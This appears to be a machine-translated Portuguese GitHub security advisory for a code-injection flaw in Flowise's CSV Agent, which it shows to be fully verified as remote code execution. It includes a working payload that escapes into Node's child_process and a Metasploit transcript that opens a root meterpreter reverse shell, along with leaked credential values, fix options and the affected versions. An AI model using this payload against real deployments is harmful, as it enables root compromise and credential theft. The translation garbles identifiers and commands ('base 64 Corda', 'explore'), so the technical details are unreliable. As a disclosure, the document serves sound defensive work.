Atualizar 2026 - 05 - 20: RCE completo como VERIFICADO. ** Isto não é teórico — uma sessão de shell reversa do Medidor como a raiz foi estabelecida no fluxo 3.1.2.** ### Cadeia de Exploitação Verificada. 1. Injeção de código Python via `base 64 _string = "${base 64 Corda}"` (linha CSVAgent.ts) 161 ) 2. Pyodide `js` bridge fornece acesso ao processo de node.js do hospedeiro 3. `process.mainModule.constructor._load('child_process')` carrega o processo child_ (através do ESM requer restrição) 4. `.execSync('CMD')` executa comandos operacionais arbitrários como **root** (PID 1 em recipiente) ### Trabalhando com a carga útil RCE. ``` ";importa js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");# ``` **Constração:** Nenhuma vírgula permite na carga útil — ` csvFile.split(',')` divide em todas as vírgulas.

### Prova de Sessão de Metasploit. ``` msf > use exploit/multi/http/flowise_csv_agent_rce msf > set PAYLOAD cmd/linux/http/x 64 / meterpreter/ reverse_ tcp msf > explore [+] Autenticação bem sucedida [+] Fluxo de chat criado: b 6716 Feb- 63 c 8 - 4 fd 2 - 993 f- cd 43788704 b 4 [*] Enviando o estágio ( 3090404 bytes) para 172.17.0.2 [*] Sessão de Medidores 1 aberto ( 172.17.0.1: 4444 -> 172.17.0.2: 41422 ) meterpreter > nome de usuário do servidor getuid: root. meterpreter > sysinfo Computador: cbce 3 fb 352 b 7 Sistema operacional: Linux 6.8.0 - 111 -Arquitetura genérica: x 64 Medidor: x 64 /linux meterpreter > shell # id uid= 0 (root) gid= 0 Grupos= 0 (root), 1 (bin), 2 (daemon), 3 (síses), 4 (adm).

# uma só - um cbce Linux 3 fb 352 b 7 6.8.0 - 111 - x genérico 86 _ 64 Linux ``` ### Impacto verificado adicional. ** Roubo credencial:** ```` FLOUISE_PASSWORD=admin 123 DATABASE_PATH=/root/.flowise APIKEY_PATH=... ``` **Arquivo Arbitrary Read** via `process.binding('fs').leiaFileUtf 8 ('/etc/hostname') → `cbce 3 fb 352 b 7 ` **Server DoS** — certas chamadas de vinculação nativa (spawn_sync) bloqueiam completamente o processo Node.js.

### CVSS v 3.1: 9.9 CRÍTICO. `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` ## Relatório Original (abaixo). **Archivo:** `pacotes/componentes/nodos/agentes/CSVagent/CSVagent.ts` **Linhas 133 - 138 ** — Extração de string não- sanitada a partir de URI de dados via `file.split(',').pop().pop()` — nenhuma validação no conteúdo. **Linhas 155 - 171 ** — Interpolação direta para o código Python executável: `base 64 _string = "${base 64 String}"` é inserido em uma string Python literal via JS template literal. Se a string contém um número duplo de fechamento seguido do código Python, ela sai do contexto da string.

`validatePythonCodeForDataFrame()` nylist é aplicado apenas ao código gerado pelo LLM na linha 198, NÃO a este bloco de código inicial na linha 171. ** Opção 1 (Melhor):** Use `pyodide.globals.set('base 64 _string', base 64 Corda)` em vez de interpolação de string ** Opção 2:** Validar a base 64 antes da interpolação — rejeitar se não corresponder `/^[A-Za-z 0 - 9 +/=]*$/` ** Opção 3:** Escape de caracteres especiais (`"`, `\n`, `\r`, `\\`) antes da interpolação.

CVE Relacionados - CVE- 2026 - 41264 (CV Regex bypass Agente) - CVE- 2026 - 41265 (Airtable Agent arebox bypass) - CVE- 2026 - 46442 (Escape da caixa de areia do nodeVM) **Disclosure:** Identificado com assistência de IA (Código Claude). Análise, verificação e módulo Metasploit por S 9 S Bounty- LAB / Kamal Sentassi. Registro de aconselhamento: GHSA- vmv 7 - 4 m 6 c- 3 cg 5. Identificadores relacionados: CVE- 2026 - 69255. Tempo: GitHub Advisory Database publicou este registro em 2026 - 08 - 04 T 15: 40: 28.000 Z e lista a sua última modificação como 2026 - 08 - 04 T 15: 41: 21.000 Z.

Gravidade: Crítico. Dados de pontuação publicados: CVSS_V 4: CVSS: 4.0 /AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/África do Sul:N. Informações sobre software e versão afetadas: fluxo do pacote npm — ECOSISTEM: introduzido 0, corrigido 3.1.3. npm pacote flussise-components — ECOSYSTEM: introduzido 0, corrigido 3.1.3. Classificação e evidência: identificadores de fraqueza CWE- 94. O registro contém 5 suporte de referências nestes tipos: WEB, PACKAGE.